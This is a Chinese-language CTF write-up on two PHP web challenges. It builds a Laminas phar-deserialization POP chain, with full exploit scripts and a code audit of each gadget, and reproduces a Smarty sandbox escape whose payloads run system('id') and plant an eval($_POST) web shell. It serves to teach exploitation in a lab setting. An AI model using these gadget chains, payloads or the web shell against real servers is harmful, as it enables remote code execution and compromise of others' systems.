Fan website
直接有www.zip
源码泄露,然后题目是关于laminas
的,所以直接搜索laminas cve
,就可以发现存在反序列化漏洞,但是我没找到反序列化触发的点
然后可以发现存在文件上传的点
并且还存在删除文件的点,那么就可以使用phar协议了,在百度的时候发现phar协议在unlink函数中也是可以执行的
所以直接开干
laminas cve之前没有遇到过,但是网上很多师傅都写了poc,就直接跟着其中某一个走了
但是写完exp之后发现,在文件上传的控制器里面存在过滤
php可以直接去掉,而后面的关键字可以利用gzip压缩绕过(感谢姜少!
网上的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php namespace Laminas \View \Renderer ; use Laminas \Config \Config ; class PhpRenderer { public function __construct ( ) { $res = '' ; for ($i = 0 ;$i < 1000000 ;$i ++){ $res .= 'ameuuameuuameuua' ; } $this ->__content = $res ; $this ->__helpers = new Config([]); } } namespace Laminas \Config ; class Config { public function __construct ( ) { $this ->data = ['shutdown' =>'phpinfo' ]; } } namespace Laminas \Log ; use Laminas \View \Renderer \PhpRenderer ; use Phar ; class Logger { public function __construct ( ) { $this ->writers = [new PhpRenderer()]; } } $a = new Logger();$phar = new Phar("test.phar" ); $phar ->startBuffering();$phar ->setStub("GIF89a" .'__HALT_COMPILER();' ); $phar ->setMetadata($a ); $phar ->addFromString("exp.txt" , "test" ); $phar ->stopBuffering();
直接上传,然后删除的时候用phar协议
Mrkaixin 师傅的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php namespace Laminas \View \Resolver { class TemplateMapResolver { protected $map = ["setBody "=>"system "]; } } namespace Laminas \View \Renderer { class PhpRenderer { function __construct (){ $res = ''; for ($i = 0 ;$i < 1000000 ;$i ++){ $res .= 'ameuuameuuameuua' ; } $this ->__content = $res ; $this ->__helpers = new \Laminas\View\Resolver\TemplateMapResolver(); } } } namespace Laminas \Log \Writer { abstract class AbstractWriter {} class Mail { protected $eventsToMail = ["cat /flag "]; protected $subjectPrependText = null ; protected $mail ; function __construct ( ) { $this ->mail = new \Laminas\View\Renderer\PhpRenderer(); } } } namespace Laminas \Log { class Logger { protected $writers ; function __construct ( ) { $this ->writers = [new \Laminas\Log\Writer\Mail()]; } } } namespace {use Laminas \Log \Logger ;$a = new Logger();$phar = new Phar("a.phar" ); $phar ->startBuffering();$phar ->setStub("GIF89a" .'__HALT_COMPILER();' ); $phar ->setMetadata($a ); $phar ->addFromString("exp.txt" , "test" ); $phar ->stopBuffering();}
赛后思考 因为当时是直接用别的师傅的poc打的,只是大概地走了一遍防止poc不一致,所以现在再来仔细走一遍,试着能不能自己挖出一条(?
0x01:Logger-destruct开始
首先要找链子的入口,一般会从__construct
或者__destruct
开始,而Logger类里面的__destrcut
存在我们可以控制的值
1 2 3 4 5 6 7 8 9 public function __destruct ( ) { foreach ($this ->writers as $writer ) { try { $writer ->shutdown(); } catch (\Exception $e ) { } } }
在这里,会调用一个shutdown
方法,所以很容易就能想到可能会触发__call
魔术方法,然后可以去全局搜索__call
可以在PhpRenderer
发现限制比较少,并且还存在call_user_func_array
函数,直接跟一下
1 2 3 4 5 6 7 8 9 10 public function __call ($method , $argv ) { $plugin = $this ->plugin($method ); if (is_callable($plugin )) { return call_user_func_array($plugin , $argv ); } return $plugin ; }
plugin
方法
1 2 3 4 public function plugin ($name , array $options = null ) { return $this ->getHelperPluginManager()->get($name , $options ); }
跟踪getHelperPluginManager()
方法,直接返回了$this->__helpers
,显而易见这个属性是我们可以完全控制的
1 2 3 4 5 6 7 public function getHelperPluginManager ( ) { if (null === $this ->__helpers) { $this ->setHelperPluginManager(new HelperPluginManager(new ServiceManager())); } return $this ->__helpers; }
那再回去看plugin
方法,发现要调用所返回的方法里面的get
方法,那么可以继续去找哪里存在我们可以利用的get方法
Config
-get,直接返回$this->data['shutdown']
的值,也是我们可以控制的,就比如我们初始化$this->data['shutdown'] = 'phpinfo'
,这样会将phpinfo
一直返回到call_user_func_array($plugin, $argv);
,而因为shutdown方法并没有参数,所以就会直接执行phpinfo();
1 2 3 4 5 6 7 8 public function get ($name , $default = null ) { if (array_key_exists($name , $this ->data)) { return $this ->data[$name ]; } return $default ; }
但是就像我说的限制一样,这里不能传入参数,只能执行某一个方法,所以不能用PhpRenderer
的__call
,得再找找,但是找到的__call
方法要么是直接返回一个名字,要么限制过多
再返回到Logger
,突然想到那么直接找shutdown
方法呢
只有Mail
方法好像可以用,审计一下吧!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public function shutdown ( ) { if (empty ($this ->eventsToMail)) { return ; } if ($this ->subjectPrependText !== null ) { $numEntries = $this ->getFormattedNumEntriesPerPriority(); $this ->mail->setSubject("{$this->subjectPrependText} ({$numEntries} )" ); } $this ->mail->setBody(implode(PHP_EOL, $this ->eventsToMail)); try { $this ->transport->send($this ->mail); } catch (TransportException\ExceptionInterface $e ) { trigger_error( "unable to send log entries via email; " . "message = {$e->getMessage()} ; " . "code = {$e->getCode()} ; " . "exception class = " . get_class($e ), E_USER_WARNING ); } }
1.首先要求$this->eventsToMail
不为空
2.getFormattedNumEntriesPerPriority()
方法是将$this->numEntriesPerPriority
数组转成字符串并返回字符串,而搜索了一下发现没有可用的setSubject
方法,所以可以直接给$this->subjectPrependText
赋值为null
3.可以找一下有没有可以利用的setBody
,但是找了一圈不在,那又又又想到了__call
方法,因为这次我们可以传入我们可控的参数,所以又想到了PhpRenderer
的__call
方法,然后再用Config
里面的get方法,初始化$this->data['setBody'] = 'system'
,然后只要我们通过修改$this->eventsToMail
的值来进行命令执行就好了
0x02:Stream-destruct开始
在用别的师傅的poc之前,因为最开始看的cve说是从Stream
的__destruct
方法开始的,然后百度和这个题目给的不大一样,原来的if判断只判断了$this->cleanup
是否为空,导致再unlink的时候触发toString
方法,但是其实这里的file_exits
也能触发toString
方法
1 2 3 4 5 6 7 8 9 10 11 public function __destruct ( ) { if (is_resource($this ->stream)) { $this ->stream = null ; } if ($this ->cleanup && is_string($this ->streamName) && file_exists($this ->streamName)) { ErrorHandler::start(E_WARNING); unlink($this ->streamName); ErrorHandler::stop(); } }
所以之后找一下有没有可以利用的toString
方法,然而并没有(😅
Smarty_Calculator
Smarty沙箱绕过
CVE-2021-26119
CVE-2021-29454
复现捏
前置知识 CVE - CVE-2021-26119 (mitre.org)
CVE-2021-26119 PHP Smarty 模版沙箱逃逸远程代码执行漏洞 - sukusec不觉水流 - 博客园 (cnblogs.com)
复现 www.zip
泄露
index.php
,会先判断Cookie,检测·是否登录,并且过滤了php|<|flag|?
,之后直接调用Smarty#display
,将data传进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function waf ($data ) { $pattern = "php|\<|flag|\?" ; $vpattern = explode("|" , $pattern ); foreach ($vpattern as $value ) { if (preg_match("/$value /" , $data )) { echo ("<div style='width:100%;text-align:center'><h5>Calculator don not like U<h5><br>" ); die (); } } return $data ; } if (isset ($_POST ['data' ])){ if (isset ($_COOKIE ['login' ])) { $data = waf($_POST ['data' ]); echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>" ; $smarty ->display("string:" . $data ); }else { echo "<script>alert(\"你还没有登录\")</script>" ; } }
PHP Smarty模版代码注入漏洞(CVE-2021-26120)-启明星辰 (venustech.com.cn)
payload:
1 {function+name='rce(){};system("id");function%0A%0A'}{/function}
但是不能路径穿越
可以写入一句话
payload:
1 2 3 {function+name='rce(){};eval($_POST["1"]);function%0A%0A'}{/function} ?1=system('cat%20/flag');